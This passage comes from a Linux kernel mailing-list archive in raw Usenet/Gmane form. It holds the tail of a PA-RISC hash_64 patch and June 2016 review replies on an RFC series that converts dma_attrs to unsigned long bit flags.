+hash_64(u64 x, unsigned int bits)
+{
+	u64 y;
+
+	if (!__builtin_constant_p(bits))
+		asm("mtsarcm %1" : "=q" (bits) : "r" (bits));
+
+	x = ~x + (x << 18);
+	x ^= x >> 31;
+	y = x * 5;	/* GCC uses 3 instructions for "x *= 21" */
+	x += y << 2;
+	x ^= x >> 11;
+	x += x << 6;
+	x ^= x >> 22;
+
+	if (__builtin_constant_p(bits)) {
+		x = x >> (64 - bits) << (64 - bits);
+	} else {
+		asm("depdi,z -1,%%sar,64,%0" : "=r" (y) : "q" (bits));
+		x &= ~y;
+	}
+
+	return x;
+}
+
+#endif /* HAVE_ARCH_HASH_64 */
+#endif /* BITS_PER_LONG == 64 */
+
+#endif /* _ASM_HASH_H */
-- 
2.8.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.comp.video.dri.devel,gmane.linux.kernel.samsung-soc,gmane.linux.ports.sh.devel,gmane.linux.ports.arm.omap,gmane.linux.kernel,gmane.comp.freedesktop.xorg.drivers.freedreno,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.freedesktop.xorg.nouveau,gmane.linux.ports.hexagon,gmane.linux.ports.arm.rockchip,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.arm.msm,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.kernel.pci,gmane.linux.drivers.rdma,gmane.linux.kernel.arc,gmane.linux.ports.x86-64.general,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.mediatek,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC v3 02/45] dma-mapping: Use unsigned long for dma_attrs
Date: Fri, 3 Jun 2016 09:17:00 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <CAMuHMdXWMf7Dt77wSUj8NytQqb99jzDiAz46kJkAEz+6BX3Uvw@mail.gmail.com>
References: <1464881987-13203-1-git-send-email-k.kozlowski@samsung.com>
	<1464881987-13203-3-git-send-email-k.kozlowski@samsung.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1464938246 17411 80.91.229.3 (3 Jun 2016 07:17:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jun 2016 07:17:26 +0000 (UTC)
Cc: Linux MIPS Mailing List <linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>,
	Aurelien Jacquiot <a-jacquiot-l0cyMroinI0@public.gmane.org>,
	Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
	Will Deacon <will.deacon-5wv7dgnIgG8@public.gmane.org>,
	DRI Development <dri-devel-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org>,
	Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
	"linux-samsung-soc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-samsung-soc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
	Linux-sh list <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Christoph Hellwig <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>,
	Catalin Marinas <catalin.marinas-5wv7dgnIgG8@public.gmane.org>,
	xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org, Matt Turner <mattst88-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	uclinux-h8-devel-5NWGOfrQmneRv+LV9MX5uooqe+aC9MnS@public.gmane.org,
	James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>,
	"adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org"
	<adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org>,
	Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>,
	"linux-omap-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-omap-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
To: Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Jun 03 09:17:08 2016
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1b8jLu-0002Dm-L1
	for glki-iommu@m.gmane.org; Fri, 03 Jun 2016 09:17:07 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 54714932;
	Fri,  3 Jun 2016 07:17:03 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 7432B360
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri,  3 Jun 2016 07:17:02 +0000 (UTC)
X-Greylist: whitelisted by SQLgrey-1.7.6
Original-Received: from mail-it0-f65.google.com (mail-it0-f65.google.com
	[209.85.214.65])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 98F0213D
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri,  3 Jun 2016 07:17:01 +0000 (UTC)
Original-Received: by mail-it0-f65.google.com with SMTP id u203so1904786itc.0
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 03 Jun 2016 00:17:01 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113;
	h=mime-version:sender:in-reply-to:references:from:date:message-id
	:subject:to:cc;
	bh=uCnxmB1T8a+4D+O4zpeSlaaz1Cfb9og2oC3TvgHjcRE=;
	b=XIORJNb9acrmFYpTUR+IydSRCx8p6NgGzpCDttIL5VB/L08CUzbSmTqpRHktZyYUZk
	Go4zRKJacq1XlR3GT11LQgHQA01kmYoADP4XCzXbsprp9X+xuzWcfEq3nPpJSSmma0Ei
	gKX0mAfwzQs6bSr+KsOv17G1rSmnnUpKoN27qXpI3bSGAMN8Blv3fUGD01NZA9wpqD/W
	su2VN8g+513h7RqBGkULEsGhpmHyEVyMEBc0jI2g0r21XTZXJyfQPAKuQWmunmUGSynV
	OO6U5Mk+Rcu7XK3z2sf+o0382n0j1kJtR7CRg3XHQWb32Dp16dsTNrxFhYhefbMSpbOx
	5onw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
	d=1e100.net; s=20130820;
	h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
	:date:message-id:subject:to:cc;
	bh=uCnxmB1T8a+4D+O4zpeSlaaz1Cfb9og2oC3TvgHjcRE=;
	b=HbsLooCxzQEk8B1M7bDGuRd2ZcZqxbSMSYjxkI4gW77//LJBT+OURTLt2NklExpKPJ
	gEKa1c59E9A/Taey8uGtCeC5CkeUz+Y9BoMi7K0/vScipyQ7BCWNNkSVKCsD66y2bw3j
	oPV6zAQMGxIF+2SQGl5XiioqPD57yiGhw2rwD7QNpD/wjXETBWjCTD8L/czysttTCDDB
	5X9CUKUHhB+ir250gw43Y0LHg/eqyaccBf4aL+EzxvjpstJ73Qfnz9UlY2aAuTk9Pckm
	f1JEpkfwcGC+JE2YNaxOIXCAkuctySBGi5Bo0D54ltFm40LrlzcUjBcO0C+dlZ7h6+AE
	kvAw==
X-Gm-Message-State: ALyK8tL9GTNmIAI+5a6Jy02yrJmj7q2SBLtuk3sei+nGa1qdj+SdIzHJgykb7D9plsYdx3kO2Rg+QmHUuwqXTg==
X-Received: by 10.36.101.74 with SMTP id u71mr3141924itb.92.1464938220979;
	Fri, 03 Jun 2016 00:17:00 -0700 (PDT)
Original-Received: by 10.107.33.135 with HTTP; Fri, 3 Jun 2016 00:17:00 -0700 (PDT)
In-Reply-To: <1464881987-13203-3-git-send-email-k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
X-Google-Sender-Auth: GCG0-9JKwZfBT34SARukq3iRTrU
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,DKIM_SIGNED,
	DKIM_VALID, FREEMAIL_FROM, RCVD_IN_DNSWL_LOW autolearn=ham version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
	smtp1.linux-foundation.org
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:13918 gmane.linux.ports.mips.general:54932 gmane.comp.video.dri.devel:155993 gmane.linux.kernel.samsung-soc:54495 gmane.linux.ports.sh.devel:54151 gmane.linux.ports.arm.omap:136374 gmane.linux.kernel:2234040 gmane.comp.freedesktop.xorg.drivers.freedreno:80 gmane.linux.ports.ia64:26838 gmane.linux.documentation:38689 gmane.comp.freedesktop.xorg.nouveau:25071 gmane.linux.ports.hexagon:1023 gmane.linux.ports.arm.rockchip:7009 gmane.linux.drivers.video-input-infrastructure:102611 gmane.linux.ports.arm.msm:19305 gmane.linux.kernel.metag:1099 gmane.linux.ports.arm.kernel:503653 gmane.linux.kernel.pci:52269 gmane.linux.drivers.rdma:37384 gmane.linux.kernel.arc:1157 gmane.linux.ports.x86-64.general:2660 gmane.linux.ports.parisc:26817 gmane.linux.ports.alpha:3755 gmane.linux.ports.sparc:23020 gmane.linux.ports.arm.mediatek:5519 gmane.linux.ports.ppc64.devel:128079
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/13918>

Hi Krzysztof,

On Thu, Jun 2, 2016 at 5:39 PM, Krzysztof Kozlowski
<k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org> wrote:
> --- a/include/linux/dma-mapping.h
> +++ b/include/linux/dma-mapping.h
> @@ -5,13 +5,25 @@

> +/**
> + * List of possible attributes associated with a DMA mapping. The semantics
> + * of each attribute should be defined in Documentation/DMA-attributes.txt.
> + */
> +#define DMA_ATTR_WRITE_BARRIER         (1UL << 1)

Any particular reason they start at 2, not 1?

> +#define DMA_ATTR_WEAK_ORDERING         (1UL << 2)
> +#define DMA_ATTR_WRITE_COMBINE         (1UL << 3)
> +#define DMA_ATTR_NON_CONSISTENT                (1UL << 4)
> +#define DMA_ATTR_NO_KERNEL_MAPPING     (1UL << 5)
> +#define DMA_ATTR_SKIP_CPU_SYNC         (1UL << 6)
> +#define DMA_ATTR_FORCE_CONTIGUOUS      (1UL << 7)
> +#define DMA_ATTR_ALLOC_SINGLE_PAGES    (1UL << 8)

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:38:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.comp.video.dri.devel,gmane.linux.kernel.samsung-soc,gmane.linux.ports.sh.devel,gmane.linux.ports.arm.omap,gmane.linux.kernel,gmane.comp.freedesktop.xorg.drivers.freedreno,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.freedesktop.xorg.nouveau,gmane.linux.ports.hexagon,gmane.linux.ports.arm.rockchip,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.arm.msm,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.kernel.pci,gmane.linux.drivers.rdma,gmane.linux.kernel.arc,gmane.linux.ports.x86-64.general,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.mediatek,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC v3 29/45] m68k: dma-mapping: Use unsigned long for dma_attrs
Date: Fri, 3 Jun 2016 09:18:44 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <CAMuHMdXpMu6iuSYRJwyqP8mx_A9cAnsgkTh-8nU+JMpD4f2-SA@mail.gmail.com>
References: <1464881987-13203-1-git-send-email-k.kozlowski@samsung.com>
	<1464881987-13203-30-git-send-email-k.kozlowski@samsung.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1464938348 19114 80.91.229.3 (3 Jun 2016 07:19:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jun 2016 07:19:08 +0000 (UTC)
Cc: Linux MIPS Mailing List <linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>,
	Aurelien Jacquiot <a-jacquiot-l0cyMroinI0@public.gmane.org>,
	Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
	Will Deacon <will.deacon-5wv7dgnIgG8@public.gmane.org>,
	DRI Development <dri-devel-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org>,
	Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
	"linux-samsung-soc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-samsung-soc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
	Linux-sh list <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Christoph Hellwig <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>,
	Catalin Marinas <catalin.marinas-5wv7dgnIgG8@public.gmane.org>,
	xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org, Matt Turner <mattst88-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	uclinux-h8-devel-5NWGOfrQmneRv+LV9MX5uooqe+aC9MnS@public.gmane.org,
	James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>,
	"adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org"
	<adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org>,
	Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>,
	"linux-omap-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-omap-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
To: Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Jun 03 09:18:50 2016
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1b8jNa-0003bc-C5
	for glki-iommu@m.gmane.org; Fri, 03 Jun 2016 09:18:50 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id AFABC360;
	Fri,  3 Jun 2016 07:18:48 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id E6554256
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri,  3 Jun 2016 07:18:46 +0000 (UTC)
X-Greylist: whitelisted by SQLgrey-1.7.6
Original-Received: from mail-io0-f194.google.com (mail-io0-f194.google.com
	[209.85.223.194])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 3D2C3143
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri,  3 Jun 2016 07:18:46 +0000 (UTC)
Original-Received: by mail-io0-f194.google.com with SMTP id l9so9301399ioe.1
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 03 Jun 2016 00:18:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113;
	h=mime-version:sender:in-reply-to:references:from:date:message-id
	:subject:to:cc;
	bh=jIY200dkr0Im0Nsw6RsCa7Od3Dei8w4fvOA20nIr4O4=;
	b=PYp8TXLrVN4uifinjkSMkte/3Hjzt3AEC8ongcuiSyeBUTwGudO4IMxw1qlPHMV7f7
	fvbxNCw2V131NhXB6cNkPNte+tkh/SV2GNrhL4Fo4mIhGRsG5qC9Ma7QgBMBLxqUURH3
	1ftH9Us/EfFYUQUoEwKsTC44S7rja2/SuTKX10MD7FCvfbxG84aOMUjhGwbqpQG9qQQH
	qF6bHDeA/TpEXoP8IUZyxNGJGZnh92KbgBaTV8t9e+oPE3uwXGf8vqIle3kpHyNcpAQg
	ToffMrusv9xlVo6OqV7Td/xOv7nLwNFg1zAc+UJTwgnc7G7TLuyv9Ra8w7mjN7/UaPah
	6RxA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
	d=1e100.net; s=20130820;
	h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
	:date:message-id:subject:to:cc;
	bh=jIY200dkr0Im0Nsw6RsCa7Od3Dei8w4fvOA20nIr4O4=;
	b=TZ0BKJESBT0syK46HjKRyHMmG+NjmgebFPEL40Qjh9NZKWzkxuX6f82zcl2bWmrzQl
	ulHnNsIfGfBqcnwQyXpLeZEjdhUhTE2+pXi8OeMY/RB3N2QzXRLEKNJJ8ZaneNnDZd/7
	r2Pp7bjgm1kH1/KCL/4uf2vHtxZTPnlQ+t/7Ce/quPrk5fL85+aL+/uxarx7dGWhe1uF
	hSGgs899E0jfmXuuV4Xs/Mi0m1ByGzRByIUITi5OtQBIpIEvLw09P8Kh3Su2hfeqD4M8
	Dtfpne7ZeiQNMvtFTs35EbMRPXZqVfC92Q76KmoCRrTDZrsWMj1wiorLfz8XMFn4b+2X
	RZ/A==
X-Gm-Message-State: ALyK8tLgwovP5/KB7NB3cTu0GJXtxpU9s4ULOSCfiVoqXvB8dTsDUdJX+0N1xT0kFA2d3XzGQSDtF7B0281V7A==
X-Received: by 10.107.43.214 with SMTP id r205mr178678ior.81.1464938325613;
	Fri, 03 Jun 2016 00:18:45 -0700 (PDT)
Original-Received: by 10.107.33.135 with HTTP; Fri, 3 Jun 2016 00:18:44 -0700 (PDT)
In-Reply-To: <1464881987-13203-30-git-send-email-k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
X-Google-Sender-Auth: Vppcn6N8ye2iblggr44rVIFH_p4
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,DKIM_SIGNED,
	DKIM_VALID, FREEMAIL_FROM, RCVD_IN_DNSWL_LOW autolearn=ham version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
	smtp1.linux-foundation.org
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:13919 gmane.linux.ports.mips.general:54933 gmane.comp.video.dri.devel:155994 gmane.linux.kernel.samsung-soc:54496 gmane.linux.ports.sh.devel:54152 gmane.linux.ports.arm.omap:136375 gmane.linux.kernel:2234043 gmane.comp.freedesktop.xorg.drivers.freedreno:81 gmane.linux.ports.ia64:26839 gmane.linux.documentation:38690 gmane.comp.freedesktop.xorg.nouveau:25072 gmane.linux.ports.hexagon:1024 gmane.linux.ports.arm.rockchip:7010 gmane.linux.drivers.video-input-infrastructure:102612 gmane.linux.ports.arm.msm:19306 gmane.linux.kernel.metag:1100 gmane.linux.ports.arm.kernel:503656 gmane.linux.kernel.pci:52270 gmane.linux.drivers.rdma:37385 gmane.linux.kernel.arc:1158 gmane.linux.ports.x86-64.general:2661 gmane.linux.ports.parisc:26818 gmane.linux.ports.alpha:3756 gmane.linux.ports.sparc:23021 gmane.linux.ports.arm.mediatek:5520 gmane.linux.ports.ppc64.devel:128080
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/13919>

On Thu, Jun 2, 2016 at 5:39 PM, Krzysztof Kozlowski
<k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org> wrote:
> Split out subsystem specific changes for easier reviews. This will be
> squashed with main commit.
>
> Signed-off-by: Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>

Looks good.

Acked-by: Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:38:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.comp.video.dri.devel,gmane.linux.kernel.samsung-soc,gmane.linux.ports.sh.devel,gmane.linux.ports.arm.omap,gmane.linux.kernel,gmane.comp.freedesktop.xorg.drivers.freedreno,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.freedesktop.xorg.nouveau,gmane.linux.ports.hexagon,gmane.linux.ports.arm.rockchip,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.arm.msm,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.kernel.pci,gmane.linux.drivers.rdma,gmane.linux.kernel.arc,gmane.linux.ports.x86-64.general,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.mediatek,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC v3 02/45] dma-mapping: Use unsigned long for dma_attrs
Date: Fri, 03 Jun 2016 09:50:40 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <575136D0.6000101@samsung.com>
References: <1464881987-13203-1-git-send-email-k.kozlowski@samsung.com>
	<1464881987-13203-3-git-send-email-k.kozlowski@samsung.com>
	<CAMuHMdXWMf7Dt77wSUj8NytQqb99jzDiAz46kJkAEz+6BX3Uvw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1464940281 17060 80.91.229.3 (3 Jun 2016 07:51:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jun 2016 07:51:21 +0000 (UTC)
Cc: Linux MIPS Mailing List <linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>,
	Aurelien Jacquiot <a-jacquiot-l0cyMroinI0@public.gmane.org>,
	Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
	Will Deacon <will.deacon-5wv7dgnIgG8@public.gmane.org>,
	DRI Development <dri-devel-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org>,
	Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
	"linux-samsung-soc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-samsung-soc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
	Linux-sh list <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Christoph Hellwig <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>,
	Catalin Marinas <catalin.marinas-5wv7dgnIgG8@public.gmane.org>,
	xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org, Matt Turner <mattst88-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	uclinux-h8-devel-5NWGOfrQmneRv+LV9MX5uooqe+aC9MnS@public.gmane.org,
	James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>,
	"adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org"
	<adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org>,
	Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>,
